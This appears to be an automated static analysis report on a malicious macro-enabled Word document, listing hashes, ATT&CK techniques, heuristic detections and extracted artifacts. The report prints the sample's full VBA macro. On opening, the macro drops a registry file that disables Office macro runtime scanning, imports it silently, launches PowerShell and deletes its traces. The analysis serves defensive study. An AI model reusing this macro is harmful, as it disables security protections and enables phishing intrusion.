Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 96514d4e70325e29…

MALICIOUS

Office (OOXML)

17.8 KB Created: 2021-04-13 04:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: fccb2c59eacd5e6ffb00eab4956dfa7d SHA-1: 960db7546b76426e941cc7cb6c6161110e4ef832 SHA-256: 96514d4e70325e29b3138e36694c950ca27392d61ee2e09a65f3c28d7c2e7fe4
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening the document. This macro creates a registry file and a batch file in the user's Downloads folder, then executes the batch file which in turn runs regedit.exe and launches PowerShell. The primary intent appears to be the execution of a second-stage payload via PowerShell, as indicated by the 'OLE_VBA_PS' heuristic and the 'Shell "cmd /K powershell"' command.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "cmd /K powershell"
        Delete = "cmd /K del " & filepath
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Shell "cmd /K powershell"
        Delete = "cmd /K del " & filepath
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub document_open()
        strUser = CreateObject("WScript.Network").UserName
        filepath = "C:\Users\" & strUser & "\Downloads" & "\"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub document_open()
        strUser = CreateObject("WScript.Network").UserName
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1403 bytes
SHA-256: 53791a1bc9a2754a40d68897c013351be72e03d7a07dc979abf866e0e9b95737
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
    strUser = CreateObject("WScript.Network").UserName
    filepath = "C:\Users\" & strUser & "\Downloads" & "\"

    ' sfdsafasdfasdfasdfasdfaf
    Documents.Add
    ActiveDocument.Range.Text = _
        "Windows Registry Editor Version 5.00" & vbNewLine & vbNewLine & _
         "[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\security]" & vbNewLine & _
         """MacroRuntimeScanScope""=dword:00000000" & vbNewLine & vbNewLine
  
    ActiveDocument.SaveAs2 FileName:=filepath & "CreateByMicrosoft.reg", LineEnding:=wdCRLF, FileFormat:=wdFormatText, Encoding:=437
    ActiveDocument.Close
  
    ' asdfasdfasdfasdfasdfa
    Documents.Add
    ActiveDocument.Range.Text = "regedit.exe /S CreateByMicrosoft.reg"
      
    ActiveDocument.SaveAs2 FileName:=filepath & "CreateByMicrosoft.bat", FileFormat:=wdFormatText, Encoding:=437, LineEnding:=wdCRLF
    ActiveDocument.Close

    Shell "cmd /K powershell"
    Delete = "cmd /K del " & filepath
    Shell Delete & "CreateByMicrosoft.bat && exit"
    Shell Delete & "CreateByMicrosoft.reg && exit"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 7c85eeccae6ebcc23e788018ce61ea817c8c2c6d241b6344718a4b2773251aad